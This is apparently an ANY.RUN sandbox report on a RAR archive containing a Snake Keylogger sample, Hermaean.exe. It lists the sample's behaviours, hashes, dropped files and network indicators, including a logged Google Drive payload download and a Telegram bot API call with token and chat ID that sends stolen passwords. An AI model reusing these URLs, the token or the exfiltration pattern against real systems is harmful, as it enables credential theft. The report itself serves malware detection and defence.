File name:

7ca204f398d0ca98eb3d2d76c2f05b382341fe416e761cf7e4ebb4c9db5593b5

Full analysis: https://app.any.run/tasks/0d5478a8-a688-4e40-bb75-a46fb26e35a1
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: February 10, 2025, 12:16:03
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
arch-exec
evasion
snake
keylogger
stealer
telegram
Indicators:
MIME: application/x-rar
File info: RAR archive data, v4, os: Win32
MD5:

D545C41763960CAD8D25F09410E1CCE6

SHA1:

8DECCB86BD19F75CC07EE30065C8A312C7F6FBC4

SHA256:

7CA204F398D0CA98EB3D2D76C2F05B382341FE416E761CF7E4EBB4C9DB5593B5

SSDEEP:

49152:EFG2aHGF1OUDSI8OYQo7AHlXzoJJLJ47ur3o50PLDKukvNO3qxsKnQ71muSSYJel:EZDSI/lOAHlj86ur450DWukQun8sQR73

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Generic archive extractor

      • WinRAR.exe (PID: 6356)

    • Steals credentials from Web Browsers

      • Hermaean.exe (PID: 6912)

    • SNAKEKEYLOGGER has been detected (SURICATA)

      • Hermaean.exe (PID: 6912)

    • Actions looks like stealing of personal data

      • Hermaean.exe (PID: 6912)

  • SUSPICIOUS

    • Malware-specific behavior (creating "System.dll" in Temp)

      • Hermaean.exe (PID: 6548)

    • Executable content was dropped or overwritten

      • Hermaean.exe (PID: 6548)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 6356)
      • Hermaean.exe (PID: 6912)

    • The process creates files with name similar to system file names

      • Hermaean.exe (PID: 6548)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 6356)

    • There is functionality for taking screenshot (YARA)

      • Hermaean.exe (PID: 6912)
      • Hermaean.exe (PID: 6548)

    • Executing commands from a ".bat" file

      • WinRAR.exe (PID: 6356)

    • Application launched itself

      • Hermaean.exe (PID: 6548)

    • The process verifies whether the antivirus software is installed

      • Hermaean.exe (PID: 6912)

    • Checks Windows Trust Settings

      • Hermaean.exe (PID: 6912)

    • Checks for external IP

      • svchost.exe (PID: 2192)
      • Hermaean.exe (PID: 6912)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • Hermaean.exe (PID: 6912)

  • INFO

    • Manual execution by a user

      • Hermaean.exe (PID: 6548)

    • Create files in a temporary directory

      • Hermaean.exe (PID: 6548)
      • MpCmdRun.exe (PID: 6836)

    • Creates files or folders in the user directory

      • Hermaean.exe (PID: 6548)

    • Checks supported languages

      • Hermaean.exe (PID: 6548)
      • Hermaean.exe (PID: 6912)
      • MpCmdRun.exe (PID: 6836)
      • MpCmdRun.exe (PID: 7000)

    • Reads the computer name

      • Hermaean.exe (PID: 6548)
      • MpCmdRun.exe (PID: 7000)
      • MpCmdRun.exe (PID: 6836)
      • Hermaean.exe (PID: 6912)

    • The sample compiled with english language support

      • WinRAR.exe (PID: 6356)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 6356)

    • Checks proxy server information

      • Hermaean.exe (PID: 6912)

    • Reads the machine GUID from the registry

      • Hermaean.exe (PID: 6912)

    • Reads the software policy settings

      • Hermaean.exe (PID: 6912)

    • Disables trace logs

      • Hermaean.exe (PID: 6912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v-4.x) (58.3)
.rar | RAR compressed archive (gen) (41.6)

EXIF

ZIP

FileVersion: RAR v4
CompressedSize: 982729
UncompressedSize: 1070325
OperatingSystem: Win32
ModifyDate: 2025:02:10 09:48:04
PackingMethod: Normal
ArchivedFileName: Hermaean.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
122
Monitored processes
10
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe hermaean.exe cmd.exe no specs conhost.exe no specs mpcmdrun.exe no specs #SNAKEKEYLOGGER hermaean.exe cmd.exe no specs conhost.exe no specs mpcmdrun.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
6356"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\7ca204f398d0ca98eb3d2d76c2f05b382341fe416e761cf7e4ebb4c9db5593b5.rarC:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
6548"C:\Users\admin\Desktop\Hermaean.exe" C:\Users\admin\Desktop\Hermaean.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
vignetted
Exit code:
0
Modules
Images
c:\users\admin\desktop\hermaean.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
6772C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$VR6356.9000\Rar$Scan7182.bat" "C:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
6780\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6836"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\Users\admin\AppData\Local\Temp\Rar$VR6356.9000"C:\Program Files\Windows Defender\MpCmdRun.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Malware Protection Command Line Utility
Exit code:
2
Version:
4.18.1909.6 (WinBuild.160101.0800)
Modules
Images
c:\program files\windows defender\mpcmdrun.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
6912"C:\Users\admin\Desktop\Hermaean.exe" C:\Users\admin\Desktop\Hermaean.exe
Hermaean.exe
User:
admin
Integrity Level:
MEDIUM
Description:
vignetted
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\users\admin\desktop\hermaean.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
6944C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$VR6356.10936\Rar$Scan26691.bat" "C:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
6952\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7000"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\Users\admin\AppData\Local\Temp\Rar$VR6356.10936"C:\Program Files\Windows Defender\MpCmdRun.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Malware Protection Command Line Utility
Exit code:
2
Version:
4.18.1909.6 (WinBuild.160101.0800)
Modules
Images
c:\program files\windows defender\mpcmdrun.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
Total events
80 743
Read events
5 945
Write events
74 798
Delete events
0

Modification events

(PID) Process:(6548) Hermaean.exeKey:HKEY_CURRENT_USER\rugbrdsmotor\Uninstall\monospermy
Operation:writeName:henstilledes
Value:
0
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\7ca204f398d0ca98eb3d2d76c2f05b382341fe416e761cf7e4ebb4c9db5593b5.rar
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(6356) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(6548) Hermaean.exeKey:HKEY_CURRENT_USER\Undersgelsesagents160\Risikofrieste\Overbookningerne
Operation:writeName:rearanged
Value:
48122C
Executable files
3
Suspicious files
12
Text files
19
Unknown types
0

Dropped files

PID
Process
Filename
Type
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Vandbreren.Ele222binary
MD5:431E19CF7E3F9FAC31A8587E61887D34
SHA256:7875CF408FB951BA85811D3BA4A1F095B1C5C645490F95625060261A3946A577
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\histographies.txtimage
MD5:5A1AD1096F97C0E2239684846D247918
SHA256:85DAE24C3E71F4F1199513FC04BA0B37FEBD6B1E0CFA7819D0555C1F729D0A9F
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\begrdeliges.probinary
MD5:4CDDE62E05107CF3BAD9767453F364D5
SHA256:1C4590DC25D55EA92CFB73656072B854483962DB44F5031382AD92DD4C045013
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udgyd.iniimage
MD5:868F1BE25FA5F82DE53C0CE9EA030CA3
SHA256:46D26ECB7CC6EE16137F12700E0E24425260B1DB361F96B943A0F880B9636A56
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\aktioners.jpgimage
MD5:B79A2EC8152E04C3DF16B5DF803ED841
SHA256:732D6EFBC54861C4178CAA10058547D42CE85A11B78F1695D307B98C9034B4BF
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udtrttede.iniimage
MD5:C994CB2032DBA92B7E631171678EC43D
SHA256:44219644326C2EBD71EA67DF605FC6D907919239B5773925E231210EA4B892CB
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Litiscontest.jpgimage
MD5:2400D62D49391C7874C3DF868B3399ED
SHA256:59F7A9F0F65EB5BED32B3D5B0429767F6454FAD732BED58781B7E35DB94547C8
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\cartographer.jpgimage
MD5:C9D3CCBEBDAFAA919122541A202A9733
SHA256:1299E5D382862521FE2904EC67B15647FCC9518BC274789DDD3DFC1B48DACBA8
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Tiggerstavens.fesbinary
MD5:F507FD73B5683DFB9ECE04A486CF8E21
SHA256:9AC75E58593C7C398BD69D638F56A9EDBCC3AB727251F14CDA80D600970FFCBA
6548Hermaean.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Glorification.Ove0binary
MD5:55B588F0F987B1D648722FF23505DF8D
SHA256:A8E01AEC8244DFA8CDEDD12DA3BDFA678042E166BA9FA8E6F4B9ADAE643ED01E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
26
DNS requests
11
Threats
14

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
303
142.250.185.78:443
https://drive.google.com/uc?export=download&id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K
unknown
—
—
—
6912
Hermaean.exe
GET
200
132.226.247.73:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
6912
Hermaean.exe
GET
200
132.226.247.73:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
6912
Hermaean.exe
GET
200
132.226.247.73:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
—
—
POST
204
92.123.104.11:443
https://www.bing.com/threshold/xls.aspx
unknown
—
—
whitelisted
—
—
GET
200
172.217.18.1:443
https://drive.usercontent.google.com/download?id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K&export=download
unknown
binary
95.0 Kb
whitelisted
—
—
GET
200
104.21.80.1:443
https://reallyfreegeoip.org/xml/41.230.209.133
unknown
text
327 b
malicious
—
—
POST
200
149.154.167.99:443
https://api.telegram.org/bot8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY/sendDocument?chat_id=6900395692&caption=admin%20/%20Passwords%20/%2041.230.209.133
unknown
binary
545 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4712
MoUsoCoreWorker.exe
23.53.40.178:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3976
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5064
SearchApp.exe
92.123.104.19:443
www.bing.com
Akamai International B.V.
DE
whitelisted
6912
Hermaean.exe
172.217.16.206:443
drive.google.com
GOOGLE
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.212.174
whitelisted
crl.microsoft.com
  • 23.53.40.178
  • 23.53.40.176
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
settings-win.data.microsoft.com
  • 4.231.128.59
whitelisted
www.bing.com
  • 92.123.104.19
  • 92.123.104.18
  • 92.123.104.31
  • 92.123.104.11
  • 92.123.104.13
  • 92.123.104.5
  • 92.123.104.30
  • 92.123.104.10
  • 92.123.104.22
whitelisted
drive.google.com
  • 172.217.16.206
whitelisted
drive.usercontent.google.com
  • 142.250.184.193
whitelisted
checkip.dyndns.org
  • 132.226.247.73
  • 158.101.44.242
  • 193.122.6.168
  • 193.122.130.0
  • 132.226.8.169
whitelisted
reallyfreegeoip.org
  • 104.21.48.1
  • 104.21.16.1
  • 104.21.96.1
  • 104.21.112.1
  • 104.21.80.1
  • 104.21.32.1
  • 104.21.64.1
malicious
api.telegram.org
  • 149.154.167.220
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Device Retrieving External IP Address Detected
ET DYN_DNS External IP Lookup Domain in DNS Query (checkip .dyndns .org)
6912
Hermaean.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
6912
Hermaean.exe
Device Retrieving External IP Address Detected
ET INFO 404/Snake/Matiex Keylogger Style External IP Check
2192
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Address Lookup Domain (reallyfreegeoip .org)
6912
Hermaean.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
2192
svchost.exe
Misc activity
ET INFO External IP Address Lookup Domain in DNS Lookup (reallyfreegeoip .org)
6912
Hermaean.exe
Misc activity
ET INFO External IP Lookup Service Domain (reallyfreegeoip .org) in TLS SNI
2192
svchost.exe
Misc activity
SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram
2192
svchost.exe
Misc activity
ET HUNTING Telegram API Domain in DNS Lookup
6912
Hermaean.exe
Misc activity
ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
7ca204f398d0ca98eb3d2d76c2f05b382341fe416e761cf7e4ebb4c9db5593b5